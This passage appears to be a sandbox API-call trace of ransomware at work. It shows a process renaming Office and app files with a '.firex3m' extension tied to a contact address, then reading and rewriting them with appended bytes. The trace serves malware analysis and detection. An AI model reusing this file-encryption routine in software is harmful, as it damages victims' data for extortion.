returned 0x6fe3bb0 [0243.393] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-400_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.393] Sleep (dwMilliseconds=0x1) [0243.396] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200.png", len=0x6e | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200.png") returned 1 [0243.396] GetProcessHeap () returned 0x630000 [0243.396] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x505c) returned 0x6fe3bb0 [0243.396] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.396] Sleep (dwMilliseconds=0x1) [0243.415] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64.png", len=0x70 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64.png") returned 1 [0243.415] GetProcessHeap () returned 0x630000 [0243.415] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ff8) returned 0x6fe3bb0 [0243.415] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-64.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.415] Sleep (dwMilliseconds=0x1) [0243.426] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_contrast-white.png", len=0x7f | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_contrast-white.png") returned 1 [0243.426] GetProcessHeap () returned 0x630000 [0243.426] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fe4) returned 0x6fe3bb0 [0243.426] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-48_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.426] Sleep (dwMilliseconds=0x1) [0243.447] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_contrast-black.png", len=0x7f | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_contrast-black.png") returned 1 [0243.447] GetProcessHeap () returned 0x630000 [0243.447] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f80) returned 0x6fe3bb0 [0243.447] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-24_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-24_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.447] Sleep (dwMilliseconds=0x1) [0243.501] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_altform-unplated.png", len=0x81 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_altform-unplated.png") returned 1 [0243.501] GetProcessHeap () returned 0x630000 [0243.501] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f6c) returned 0x6fe3bb0 [0243.501] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-20_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-20_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.501] Sleep (dwMilliseconds=0x1) [0243.508] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150.png", len=0x6c | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150.png") returned 1 [0243.508] GetProcessHeap () returned 0x630000 [0243.508] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f34) returned 0x6fe3bb0 [0243.508] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.508] Sleep (dwMilliseconds=0x1) [0243.520] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100_contrast-black.png", len=0x7b | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100_contrast-black.png") returned 1 [0243.520] GetProcessHeap () returned 0x630000 [0243.520] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f20) returned 0x6fe3bb0 [0243.520] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.520] Sleep (dwMilliseconds=0x1) [0243.540] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\heart.png", len=0x63 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\heart.png") returned 1 [0243.540] GetProcessHeap () returned 0x630000 [0243.540] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4edc) returned 0x6fe3bb0 [0243.541] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\heart.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\heart.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.541] Sleep (dwMilliseconds=0x1) [0243.566] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl", len=0x78 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl") returned 1 [0243.567] GetProcessHeap () returned 0x630000 [0243.567] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ec4) returned 0x6fe3bb0 [0243.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0243.618] CloseHandle (hObject=0x6f8) returned 1 [0243.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.619] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL90X~1.FIR")) returned 0x6d54c0 [0243.620] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0243.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0243.620] GetProcessHeap () returned 0x630000 [0243.620] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70dd910 [0243.620] GetProcessHeap () returned 0x630000 [0243.620] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73282e0 [0243.621] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.621] ReadFile (in: hFile=0x6f8, lpBuffer=0x70dd910, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70dd910*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0251.927] GetProcessHeap () returned 0x630000 [0251.927] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0251.927] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.927] WriteFile (in: hFile=0x6f8, lpBuffer=0x73282e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73282e0*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0251.927] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.927] WriteFile (in: hFile=0x6f8, lpBuffer=0x73336df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73336df*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0251.927] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.927] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0251.928] CloseHandle (hObject=0x6f8) returned 1 [0251.928] GetProcessHeap () returned 0x630000 [0251.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73282e0 | out: hHeap=0x630000) returned 1 [0251.929] GetProcessHeap () returned 0x630000 [0251.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70dd910 | out: hHeap=0x630000) returned 1 [0251.929] GetProcessHeap () returned 0x630000 [0251.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0254.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c1b8d2e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1857d, dwReserved0=0xbfc7496, dwReserved1=0x70dd908, cFileName="sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL90X~1.FIR")) returned 0x6d5040 [0254.737] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0254.737] Sleep (dwMilliseconds=0x1) [0254.743] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\PREVIEW.GIF", len=0x6d | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\PREVIEW.GIF") returned 1 [0254.743] GetProcessHeap () returned 0x630000 [0254.743] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d8c) returned 0x6fe3bb0 [0254.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0254.744] CloseHandle (hObject=0x6c0) returned 1 [0254.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.744] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d54c0 [0254.745] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0254.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0254.745] GetProcessHeap () returned 0x630000 [0254.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6a1) returned 0x7460320 [0254.746] GetProcessHeap () returned 0x630000 [0254.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6a1) returned 0x745f590 [0254.746] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.746] ReadFile (in: hFile=0x6c0, lpBuffer=0x7460320, nNumberOfBytesToRead=0x680, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7460320*, lpNumberOfBytesRead=0x4d3ff0c*=0x680, lpOverlapped=0x0) returned 1 [0254.843] GetProcessHeap () returned 0x630000 [0254.843] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0254.843] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.843] WriteFile (in: hFile=0x6c0, lpBuffer=0x745f590*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745f590*, lpNumberOfBytesWritten=0x4d3ff0c*=0x680, lpOverlapped=0x0) returned 1 [0254.843] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.843] WriteFile (in: hFile=0x6c0, lpBuffer=0x745fc0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745fc0f*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.843] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.843] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.843] CloseHandle (hObject=0x6c0) returned 1 [0254.844] GetProcessHeap () returned 0x630000 [0254.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745f590 | out: hHeap=0x630000) returned 1 [0254.844] GetProcessHeap () returned 0x630000 [0254.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7460320 | out: hHeap=0x630000) returned 1 [0254.844] GetProcessHeap () returned 0x630000 [0254.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0254.844] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.844] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5dd8ead9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x4d3fd20, dwReserved1=0x7460320, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d54c0 [0254.844] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0254.844] Sleep (dwMilliseconds=0x1) [0254.943] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PREVIEW.GIF", len=0x6c | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PREVIEW.GIF") returned 1 [0254.943] GetProcessHeap () returned 0x630000 [0254.943] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d64) returned 0x6fe3bb0 [0254.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0254.949] CloseHandle (hObject=0x6d0) returned 1 [0254.949] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.061] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: 